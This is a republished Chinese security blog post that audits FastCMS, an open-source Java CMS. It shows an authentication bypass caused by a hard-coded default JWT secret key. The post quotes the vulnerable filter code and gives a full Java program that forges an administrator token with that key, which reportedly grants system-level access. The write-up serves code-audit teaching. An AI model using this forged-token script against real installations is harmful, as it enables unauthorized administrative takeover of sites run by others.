某CMSJWT鉴权绕过

admin 2026-03-03 09:31:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了某CMS系统因JWT硬编码密钥导致的鉴权绕过漏洞。作者通过实战演示,利用默认密钥生成伪造JWT令牌,成功以管理员身份绕过系统鉴权,获取系统权限。文档提供了完整的漏洞分析过程、代码审计方法及利用脚本,揭示了系统在密钥管理和JWT验证实现上的安全缺陷。 综合评分: 78 文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,安全开发


cover_image

某CMS JWT鉴权绕过

原创

暗月大徒弟 暗月大徒弟

moonsec

2026年2月16日 10:34 广东

免责声明:本公众号所提供的文字和信息仅供学习和研究使用,不得用于任何非法用途。我们强烈谴责任何非法活动,并严格遵守法律法规。读者应该自觉遵守法律法规,不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任。

暗月安全培训限时活动 需要培训联系微信

2026.2.14-2026.2.16

1.jwt介绍

JWT,全称是 JSON Web Token,是一种用于身份验证和信息传递的轻量级令牌机制,常用于前后端分离的系统中。前面讲过详细 https://www.yuque.com/yuqueyonghuhva5jf/anyue2025/hl8alqkg3o3cykw8

2.实战利用

源码下载  https://gitee.com/xjd2020/fastcms

项目 导入 idea 修改application.yml 修改 数据库信息 创建数据库导入sql文件

 编译 运行

 访问本地  http://192.168.10.201:8080/fastcms.html#/login

默认账号admin密码1

创建普通的用户moonsec 123456

cookie https://jwt.io/  进行解码

解码得到用户的基础信息

3.鉴权分析

查看代码

src/main/java/com/fastcms/web/filter/JwtAuthTokenFilter.java

 @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
            throws IOException, ServletException {

        if (request.getRequestURI().startsWith(FastcmsConstants.API_PREFIX_MAPPING)
                || request.getRequestURI().startsWith(FastcmsConstants.PLUGIN_MAPPING)
        ) {
       // 从 Authorization获取jwt验证的token
            final String jwt = tokenManager.resolveToken(request);

            if (StringUtils.isNotBlank(jwt) && SecurityContextHolder.getContext().getAuthentication() == null) {
                try {
                    //验证token
                    tokenManager.validateToken(jwt);
                    //从token里面取值
                    Authentication authentication = this.tokenManager.getAuthentication(jwt);
                    SecurityContextHolder.getContext().setAuthentication(authentication);

                    filterChain.doFilter(request, response);
                } catch (ExpiredJwtException | SignatureException e) {
                    response.sendError(HttpServletResponse.SC_UNAUTHORIZED, e.getMessage());
                } catch (Exception e) {
                    e.printStackTrace();
                    response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage());
                }
            } else {
                response.sendError(HttpServletResponse.SC_UNAUTHORIZED, "not auth");
            }
        } else {
            filterChain.doFilter(request, response);
        }

校验通过之后取值。

com/fastcms/web/security/DelegatingTokenManager.java

那么在校验的时候肯定是采用硬编码 默认的secret-key

默认的cms是不会更改这个值  那么就可以利用它验证jwt进行验证

SecretKey012345678901234567890123456789012345678901234567890123456789

访问 https://www.bejson.com/jwt/  输入secret-key 修改payload生成jwt

提交发现验证失败

分析secret-key处理

com/fastcms/web/security/AuthConfigs.java

获取的 secretKey 还要base64 解码 但是 系统默认的并不存在编码

    public byte[] getSecretKeyBytes() {
        if (secretKeyBytes == null) {
            secretKeyBytes = Decoders.BASE64.decode(secretKey);
        }

        if (StringUtils.isNotBlank(ConfigUtils.getConfig(FastcmsConstants.JWT_SECRET))) {
            secretKeyBytes = Decoders.BASE64.decode(ConfigUtils.getConfig(FastcmsConstants.JWT_SECRET));
        }

        return secretKeyBytes;
    }

所以secretKeyBytes都是字节码 不好处理

4.jwt算法加密脚本

jwt加密就可以正常处理。

在pom.xml添加

<dependencies>
&nbsp; &nbsp; <dependency>
&nbsp; &nbsp; &nbsp; &nbsp; <groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; <artifactId>jjwt-api</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; <version>0.11.5</version> <!-- 看你用的版本 -->
&nbsp; &nbsp; </dependency>
&nbsp; &nbsp; <dependency>
&nbsp; &nbsp; &nbsp; &nbsp; <groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; <artifactId>jjwt-impl</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; <version>0.11.5</version>
&nbsp; &nbsp; &nbsp; &nbsp; <scope>runtime</scope>
&nbsp; &nbsp; </dependency>
&nbsp; &nbsp; <dependency>
&nbsp; &nbsp; &nbsp; &nbsp; <groupId>io.jsonwebtoken</groupId>
&nbsp; &nbsp; &nbsp; &nbsp; <artifactId>jjwt-jackson</artifactId>
&nbsp; &nbsp; &nbsp; &nbsp; <version>0.11.5</version>
&nbsp; &nbsp; &nbsp; &nbsp; <scope>runtime</scope>
&nbsp; &nbsp; </dependency>
</dependencies>

jwt token生成脚本

package org.example;

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.io.Decoders;
import io.jsonwebtoken.security.Keys;

import javax.crypto.SecretKey;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class Main {
&nbsp; &nbsp; public static void main(String[] args) {
&nbsp; &nbsp; &nbsp; &nbsp; String secretKey="SecretKey012345678901234567890123456789012345678901234567890123456789";
&nbsp; &nbsp; &nbsp; &nbsp; byte[] keyBytes = Decoders.BASE64.decode(secretKey);
&nbsp; &nbsp; &nbsp; &nbsp; SecretKey key = Keys.hmacShaKeyFor(keyBytes);

&nbsp; &nbsp; &nbsp; &nbsp; // payload 数据
&nbsp; &nbsp; &nbsp; &nbsp; Map<String, Object> claims = new HashMap<>();
&nbsp; &nbsp; &nbsp; &nbsp; claims.put("auth", "1");
&nbsp; &nbsp; &nbsp; &nbsp; claims.put("userId", 1);
&nbsp; &nbsp; &nbsp; &nbsp; claims.put("username", "admin");

&nbsp; &nbsp; &nbsp; &nbsp; // 过期时间:你给的是 1744735095(Unix时间戳,秒)
&nbsp; &nbsp; &nbsp; &nbsp; long expMillis = 1744735095L * 1000; // 转为毫秒
&nbsp; &nbsp; &nbsp; &nbsp; Date exp = new Date(expMillis);

&nbsp; &nbsp; &nbsp; &nbsp; // 生成 JWT
&nbsp; &nbsp; &nbsp; &nbsp; String jwt = Jwts.builder()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setClaims(claims)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setExpiration(exp)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .signWith(key, SignatureAlgorithm.HS256)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .compact();

&nbsp; &nbsp; &nbsp; &nbsp; System.out.println("生成的 JWT:");
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(jwt);
&nbsp; &nbsp; }

}

运行得到jwt token

yakit提交验证正常 权限是system


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:moonsec 暗月大徒弟 暗月大徒弟《某CMS JWT鉴权绕过》

某CMSJWT鉴权绕过 网络安全文章

某CMSJWT鉴权绕过

文章总结: 该文档详细分析了某CMS系统因JWT硬编码密钥导致的鉴权绕过漏洞。作者通过实战演示,利用默认密钥生成伪造JWT令牌,成功以管理员身份绕过系统鉴权,获
评论:0   参与:  0